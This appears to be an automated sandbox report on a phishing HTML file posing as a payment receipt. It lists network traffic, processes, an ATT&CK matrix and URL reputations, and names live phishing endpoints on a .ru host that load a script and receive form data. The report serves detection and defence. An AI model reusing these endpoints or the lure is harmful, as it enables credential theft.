Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.254.90:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.254.90:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49767 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Payment Transfer Receipt.shtml

Initial sample: receipt

Source: classification engine

Classification label: mal72.phis.winSHTML@15/86@24/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Payment Transfer Receipt.shtml
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1892,i,10982388854991220590,16675983000774423821,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1892,i,10982388854991220590,16675983000774423821,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
part-0012.t-0009.fb-t-msedge.net	0%	Virustotal	Browse
www.aib.gov.uk	0%	Virustotal	Browse
ty2rtvvkw343me.ru	0%	Virustotal	Browse
part-0012.t-0009.t-msedge.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://www.merchant-center-analytics.goog	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://www.aib.gov.uk/media/5ypgeure/aa7e75eb-d6ca-4eca-b49a-d679e4f2870b.jpeg	0%	Avira URL Cloud	safe
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/rewergtrfd.js	100%	Avira URL Cloud	phishing
http://www.aib.gov.uk/	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/media/2vqjkb3r/subscribe_mail.png?width=735&height=413&rnd=133510085819070000	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/images/stock/aib-logo.svg	0%	Avira URL Cloud	safe
https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/images/stock/ogl-logo.svg	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/app/assets/main-4b805198.css	0%	Avira URL Cloud	safe
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/rewergtrfd.js	0%	Virustotal		Browse
https://www.aib.gov.uk/app/assets/main-849c19e6.js	0%	Avira URL Cloud	safe
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/next.php	100%	Avira URL Cloud	phishing
http://www.aib.gov.uk/	0%	Virustotal		Browse
https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/	0%	Virustotal		Browse
https://aib.gov.uk/	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/images/stock/mygov.scot-logo.svg	0%	Avira URL Cloud	safe
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/next.php	1%	Virustotal		Browse
https://www.aib.gov.uk/images/stock/gov.scot-logo.svg	0%	Avira URL Cloud	safe
https://aib.gov.uk/	0%	Virustotal		Browse
https://www.aib.gov.uk/media/mknfraq2/pexels-andrea-piacquadio-3772618.jpg?width=735&height=413&rnd=133510833223370000	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/assets/images/icons/icons.stack.svg	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/images/aib-favicon.ico	0%	Avira URL Cloud	safe
https://www.aib.gov.uk/media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false		high
code.jquery.com	151.101.130.137	true	false		high
part-0012.t-0009.fb-t-msedge.net	13.107.253.40	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false		high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false		high
www.google.com	142.251.163.106	true	false		high
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	0%, Virustotal, Browse	unknown
ty2rtvvkw343me.ru	185.169.4.110	true	false	0%, Virustotal, Browse	unknown
ka-f.fontawesome.com	unknown	unknown	false		high
kit.fontawesome.com	unknown	unknown	false		high
www.aib.gov.uk	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.aib.gov.uk/media/5ypgeure/aa7e75eb-d6ca-4eca-b49a-d679e4f2870b.jpeg	false	Avira URL Cloud: safe	unknown
https://www.aib.gov.uk/images/stock/aib-logo.svg	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://www.aib.gov.uk/media/2vqjkb3r/subscribe_mail.png?width=735&height=413&rnd=133510085819070000	false	Avira URL Cloud: safe	unknown
http://www.aib.gov.uk/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/rewergtrfd.js	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.aib.gov.uk/images/stock/ogl-logo.svg	false	Avira URL Cloud: safe	unknown
https://www.aib.gov.uk/app/assets/main-4b805198.css	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://www.aib.gov.uk/app/assets/main-849c19e6.js	false	Avira URL Cloud: safe	unknown
https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/next.php	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	true	Avira URL Cloud: safe	low
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://www.aib.gov.uk/images/stock/mygov.scot-logo.svg	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://www.aib.gov.uk/images/stock/gov.scot-logo.svg	false	Avira URL Cloud: safe	unknown
https://www.aib.gov.uk/	false		unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high
https://code.jquery.com/jquery-3.3.1.js	false		high
https://www.aib.gov.uk/media/mknfraq2/pexels-andrea-piacquadio-3772618.jpg?width=735&height=413&rnd=133510833223370000	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://www.aib.gov.uk/assets/images/icons/icons.stack.svg	false	Avira URL Cloud: safe	unknown
https://www.aib.gov.uk/images/aib-favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.aib.gov.uk/media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_117.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_80.2.dr	false		high
http://jquery.org/license	chromecache_80.2.dr	false		high
https://ka-f.fontawesome.com	chromecache_119.2.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_80.2.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_80.2.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_80.2.dr	false		high
https://www.gov.scot/	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_80.2.dr	false		high
https://promisesaplus.com/#point-75	chromecache_80.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_80.2.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_80.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_80.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_80.2.dr	false		high
https://fontawesome.com/license/free	chromecache_90.2.dr, chromecache_98.2.dr, chromecache_99.2.dr, chromecache_110.2.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_80.2.dr	false		high
https://fontawesome.com	chromecache_90.2.dr, chromecache_98.2.dr, chromecache_99.2.dr, chromecache_110.2.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_80.2.dr	false		high
https://www.google.com	chromecache_117.2.dr	false		high
https://www.youtube.com/iframe_api	chromecache_117.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_80.2.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_80.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_109.2.dr, chromecache_85.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_80.2.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_80.2.dr	false		high
https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/	chromecache_91.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_80.2.dr	false		high
https://www.mygov.scot/	chromecache_91.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_80.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_111.2.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_80.2.dr	false		high
https://promisesaplus.com/#point-64	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://aib.gov.uk/	chromecache_91.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_80.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_80.2.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_80.2.dr	false		high
https://promisesaplus.com/#point-59	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_80.2.dr	false		high
https://promisesaplus.com/#point-57	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://adservice.google.com/pagead/regclk	chromecache_117.2.dr	false		high
https://github.com/eslint/eslint/issues/3229	chromecache_80.2.dr	false		high
https://getbootstrap.com/)	chromecache_109.2.dr	false		high
https://promisesaplus.com/#point-54	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://cct.google/taggy/agent.js	chromecache_122.2.dr, chromecache_117.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_80.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_80.2.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_80.2.dr	false		high
https://jquery.org/license	chromecache_80.2.dr	false		high
https://kit.fontawesome.com	chromecache_119.2.dr	false		high
https://jquery.com/	chromecache_80.2.dr	false		high
https://getbootstrap.com)	chromecache_105.2.dr, chromecache_85.2.dr	false	Avira URL Cloud: safe	low
https://td.doubleclick.net	chromecache_122.2.dr, chromecache_117.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_80.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_80.2.dr	false		high
https://www.merchant-center-analytics.goog	chromecache_117.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_109.2.dr, chromecache_105.2.dr, chromecache_85.2.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_117.2.dr	false		high
https://promisesaplus.com/#point-48	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_80.2.dr	false		high
https://sizzlejs.com/	chromecache_80.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_80.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.251.163.106	www.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.107.253.40	part-0012.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.169.4.110	ty2rtvvkw343me.ru	unknown	42366	TERRATRANSIT-ASDE	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434804
Start date and time:	2024-05-01 19:03:55 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment Transfer Receipt.shtml
Detection:	MAL
Classification:	mal72.phis.winSHTML@15/86@24/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .shtml

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.111.94, 172.253.115.138, 172.253.115.113, 172.253.115.100, 172.253.115.139, 172.253.115.102, 172.253.115.101, 64.233.180.84, 34.104.35.123, 142.250.31.95, 172.64.147.188, 104.18.40.68, 142.251.163.95, 142.250.31.94, 104.21.26.223, 172.67.139.119, 172.253.63.95, 142.251.163.97, 142.251.167.95, 172.253.62.95, 142.251.111.95, 142.251.16.95, 172.253.122.95, 172.253.115.95, 172.253.122.100, 172.253.122.138, 172.253.122.101, 172.253.122.102, 172.253.122.113, 172.253.122.139
Excluded domains from analysis (whitelisted): kit.fontawesome.com.cdn.cloudflare.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, ka-f.fontawesome.com.cdn.cloudflare.net, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, global-entry-afdthirdparty-fallback-first.trafficmanager.net, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, star-azurefd-prod.trafficmanager.net, www.googletagmanager.com, clients.l.google.com, www.google-analytics.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
13.107.246.40	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
151.101.130.137	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://981243.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
